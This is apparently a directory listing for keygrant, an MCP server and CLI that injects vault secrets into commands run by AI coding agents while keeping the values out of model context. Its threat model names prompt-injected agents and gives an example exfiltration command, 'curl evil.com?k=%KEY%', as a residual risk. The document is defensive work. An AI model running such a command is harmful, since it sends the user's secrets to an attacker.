Skip to main content
Glama

keygrant

demo: agent requests a secret, user approves via native dialog, output comes back redacted

Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.

Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.

Docs: quickstart, every command, and how approvals, redaction and cloud sync work: https://keygrant.app/docs/

Components

  • keygrant.py — vault + CLI

    • keygrant set NAME [--desc TEXT] — store a secret (value via stdin, never argv)

    • keygrant list / rm NAME

    • keygrant exec [--redact] NAMES -- CMD — run CMD with secrets injected

    • keygrant revoke NAME|--all — revoke active approval grants

    • keygrant init — wire up a project (.mcp.json + CLAUDE.md guidance)

  • keygrant_mcp.py — MCP server (stdio JSON-RPC, zero deps)

    • list_secrets — names/descriptions/usage only, never values

    • exec_with_secrets — server-side exec with injection + forced output redaction

    • deliberately no set/store tool: writing a value through the model would put it in context; values enter out-of-band via the CLI only

Related MCP server: vault-mcp

Install

As a Claude Code plugin

The plugin bundles the MCP server and a skill that teaches Claude to use it, so there's no per-project setup. It needs uv.

/plugin marketplace add bazingaedward/keygrant
/plugin install keygrant@keygrant

Add secrets from your terminal with uvx keygrant==0.1.11 set NAME, or install the CLI as below.

As a CLI and MCP server

uv tool install keygrant     # or: pipx install keygrant

Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install there fails; uv fetches a suitable Python automatically.

Then, in each project where agents should use secrets:

keygrant init

init adds a keygrant entry to the project's .mcp.json (merging with any existing servers) and appends usage guidance for the model to CLAUDE.md, both idempotently. Restart Claude Code in that folder to load the server.

macOS

Values live in the login Keychain; approval is a native dialog.

macOS: store a secret, approve via native dialog, value injected, output redacted

Threat model

What this protects against:

  • Context exfiltration — a prompt-injected agent (or plain logging) leaking a secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.

  • Output leaks — an agent echoing a secret back. All output returned to the model is redacted, including base64, hex, and URL-encoded variants.

  • Grant riding — reusing an approval for something the user never saw. A grant covers one exact command string in one agent session, expires after 15 minutes, and lives only in the MCP server's memory — there is no grants file to forge. A wider session grant exists only when the user explicitly picks "Allow 30 min". The CLI never reuses a grant.

  • Silent use — every new command requires explicit user approval; the dialog shows the full command (over-long commands are refused, not truncated); timeout means deny.

What this does NOT protect against (known residual risks):

  • A compromised agent can request a command that exfiltrates the secret over the network (curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap.

  • Indirection: approving sh deploy.sh approves whatever deploy.sh does, and the agent may have written that file. Treat script invocations as approving the script.

  • Redaction is a second line of defense, not a guarantee: novel encodings can evade it. The primary guarantee remains "values never enter context".

  • Anything running as the same OS user can read the DPAPI vault. This tool scopes agent access to secrets; it is not a defense against local malware.

Approval

Every use of a secret — via the CLI or the MCP server — requires the user's approval through a native, topmost dialog that shows the full command (deny by default on a 60s timeout). Through the MCP server, approving lets that exact command reuse the secret for 15 minutes in that session — handy for retries — while any other command prompts again. To stop the prompts during a burst of work, pick Allow 30 min instead: that agent session may then use the secrets shown in any command for 30 minutes without asking (macOS and Linux; Windows dialogs offer per-command approval only). It is an explicit opt-in — the default button is still Deny — and while it lasts you are no longer reviewing individual commands. Grants are held in the server's memory only. The CLI prompts on every keygrant exec, so an agent cannot bypass MCP approval by shelling out to it. keygrant revoke NAME|--all voids earlier grants in every running session. The dialog will be replaced by a resident tray app with toast notifications; the grant semantics stay the same.

Storage

  • Windows: values DPAPI-encrypted (per-user) inside %USERPROFILE%\.keygrant\vault.json. Not %APPDATA%: packaged apps such as the Claude desktop app see a private copy of %APPDATA%, so the MCP server they launch and the CLI in a normal terminal would read different vaults. Up to 0.1.6 the vault lived in %APPDATA%\keygrant\. The CLI and the MCP server merge it into the new home on every start: only names the new vault has never seen from the old one, never overwriting, so a secret you delete does not come back. The old files stay, so a 0.1.6 install keeps working while you upgrade.

  • macOS: values in the login Keychain (via the security CLI; the first read triggers the OS Keychain permission prompt — an extra OS-level gate); ~/.config/keygrant/vault.json holds metadata only

  • Linux: values in the Secret Service keyring via secret-tool (libsecret-tools + a running keyring daemon; approval dialogs need zenity); the vault file holds metadata only

The vault file also records usage metadata (use count, last used) as the seed of an audit trail. Set KEYGRANT_HOME to keep the vault somewhere else on any platform.

Cloud sync (preview)

Optional end-to-end encrypted sync between your devices (uv tool install 'keygrant[cloud]'). Values are encrypted on the device; the server only ever stores ciphertext. Nothing is uploaded until you push.

First device

uv tool install 'keygrant[cloud]'
keygrant cloud init        # choose a password; prints your Emergency Kit
keygrant push STRIPE_KEY   # upload an existing local secret

Write the Emergency Kit (Account ID + Secret Key) down and keep it offline. Your data can only be decrypted with your password and the Secret Key; nobody, including keygrant, can recover either for you.

More devices — the old device must be online (it can be over SSH or remote desktop; pairing needs both devices at once, not in one place):

keygrant devices add       # old device: shows a pairing code
keygrant pair              # new device: enter the code

Both screens then show a fingerprint. Check they match before typing yes on the old device — that check is what stops a malicious server from slipping in its own device. The new device asks for your password once.

Day to day

echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY   # add / change
keygrant push --delete STRIPE_KEY                                     # remove everywhere
keygrant sync                                                          # pull now

list and exec also pull changes on their own (at most once a minute, silently skipped when offline). If two devices change the same secret, the later push is refused until you sync; a local edit you haven't pushed is never overwritten.

Lost every device? On a new machine, keygrant recover joins with the Emergency Kit and your password alone (accounts created before 0.1.4: run keygrant cloud enable-recovery once on an existing device).

Approve from your phone — run keygrant devices add and enter the code at https://app.keygrant.app on your phone; the same fingerprint check makes that browser a trusted approver. When nobody answers the desktop dialog, the request goes to that page instead; an explicit Deny on the desktop is final. The browser can approve and see names, never values.

Leave — keygrant cloud delete destroys the account and all ciphertext; secrets stay on each machine as local-only entries.

Design and threat model: docs/design/cloud-sync-client.md.

Roadmap (prototype → product)

  1. Resident tray app (replaces the modal dialog; approval history, revoke UI)

  2. Per-secret egress allowlists (bind a key to permitted destination hosts)

  3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

Windows session approval

The Windows approval dialog supports Allow 30 min for MCP calls. It covers only the displayed secrets in that MCP server process. Deny is the default; Esc and window close deny access. CLI calls still require individual approval. Restart an existing MCP connection after installing this local update.

Available Tools

2 tools
exec_with_secretsA

Run a shell command with the named secrets injected as environment variables (reference them as %NAME% / $env:NAME / $NAME inside the command). The user must approve access via a native dialog that shows the full command; approval covers that exact command string for 15 minutes, so reuse the identical command for retries (the user may instead allow any command for 30 minutes). Commands over 2000 characters are refused: put long logic in a script. A denial is final — never retry it. Output is returned with any plaintext secret values redacted. This is the ONLY way to use a secret; values never appear in conversation context.

NameRequiredDescriptionDefault
cwdNoOptional working directory.
commandYesShell command to run (executed via cmd /c on Windows).
secretsYesNames of vault secrets to inject as env vars.

TDQS

A4.9/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden and does so: it discloses the native approval dialog, the 15-minute string-scoped approval window versus a 30-minute blanket allowance, the 2000-character refusal threshold, output redaction, and that denials are final. These are non-obvious operational constraints that materially change how the tool gets called.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Purpose is front-loaded in the first clause, followed by approval semantics, constraints, and the redaction note in descending order of importance. Every sentence contains a distinct operational fact — there is no filler.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

No output schema exists, and the description compensates by stating that output is redacted; no annotations exist, and the description compensates by covering approval, timing, limits, and failure handling. For a three-parameter execution tool, nothing an agent needs before calling it is missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so the baseline is 3; the description adds real value beyond it by explaining how secret names are referenced inside the command (%NAME% / $env:NAME / $NAME) and the length cap on the command string. It does not mention cwd, the one optional parameter, leaving that to the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a precise verb and resource — run a shell command with named vault secrets injected as environment variables — plus the exact interpolation syntax. The line 'This is the ONLY way to use a secret' implicitly separates it from the list_secrets sibling, which by contrast only enumerates names.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Gives concrete when-to and when-not-to rules: reuse the identical command string for retries because approval is bound to that string, move long logic into a script past 2000 characters, and never retry after a denial. These are actionable exclusions an agent could otherwise get wrong.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

list_secretsA

List the names and descriptions of secrets available in the local vault. Values are never returned. Use exec_with_secrets to run a command that needs one of these secrets.

NameRequiredDescriptionDefault

No parameters

TDQS

A4.7/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the behavioral burden, and it delivers the most important trait: values are never returned, so the agent knows this is non-sensitive enumeration. It also scopes the source to the local vault. What it omits is whether authorisation is required or how large the listing can get, minor gaps for a zero-parameter read.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Three short sentences, front-loaded with what is listed and what is excluded, followed by the delegation hint. Every sentence earns its place with no restatement of the tool name.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a zero-parameter list tool with no output schema, the description supplies the essentials: the resource, the fields returned (names, descriptions), the field deliberately withheld (values), and the follow-up tool. Nothing an agent needs in order to call it correctly is missing.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The tool takes no parameters, so there is nothing for the description to disambiguate and the baseline of 4 applies. The description does not need to compensate for any schema gap.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States a specific verb (list) and resource (secrets in the local vault) and narrows the scope to names and descriptions, not values. An agent can immediately distinguish it from the sibling exec_with_secrets, which runs commands rather than enumerating.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Explicitly routes the agent: use this tool to discover secrets, and use exec_with_secrets when a command needs to consume one. The alternative and the condition that selects it are both named, leaving nothing to inference.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv0.1.0
    • First observedexec_with_secrets
    • First observedlist_secrets

TDQS

A4.7/5.0

Scored across 2 tools

Disambiguation5/5

The two tools are cleanly split between discovery (list_secrets) and use (exec_with_secrets), with no overlap in purpose. The description of list_secrets explicitly redirects execution to exec_with_secrets, making the boundary unambiguous.

Naming Consistency5/5

Both names follow a consistent snake_case verb_noun pattern (list_secrets, exec_with_secrets). The shared '_secrets' suffix reinforces the pairing and makes the relationship between the tools obvious.

Tool Count4/5

Two tools is a deliberately minimal surface, but for a narrow secret-brokering server each tool earns its place and there is no redundancy. It is slightly thin compared to a typical 3-15 tool set, but the tight scope justifies it.

Completeness4/5

The list-then-execute lifecycle for consuming secrets is fully covered, including approval and redaction semantics. There is no way to create, rotate, or inspect secret metadata (only names/descriptions), implying vault management lives outside this server — a minor gap an agent can work around.

Maintenance

ActivityMaintained
ResponsivenessSyncing

Related MCP Connectors

Related MCP Servers

  • A
    license
    A
    quality
    D
    maintenance
    Enables AI agents to securely use real secrets (API keys, database passwords) by requiring human approval for each release, ensuring secrets never enter the model's context.
    2
    Apache 2.0
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables AI coding agents to securely inject API keys and secrets into environment files, configs, or commands without the agent ever seeing the secret values.
    4 npm
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Enables AI agents to list entries and metadata, run commands with secrets injected as environment variables while scrubbing every value from the output, copy secrets straight to the clipboard, and generate or store new secrets without their plaintext ever entering the conversation. Obvious dumpers are refused and destructive edits require explicit confirmation, closing off accidental exposure paths.
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Lets AI coding agents read project documentation and secret metadata, then use credentials by injecting them into child processes while redacting the values from all output. Agents can deploy, migrate databases, or SSH using real secrets without the values ever entering their context, transcripts, or logs.
    MIT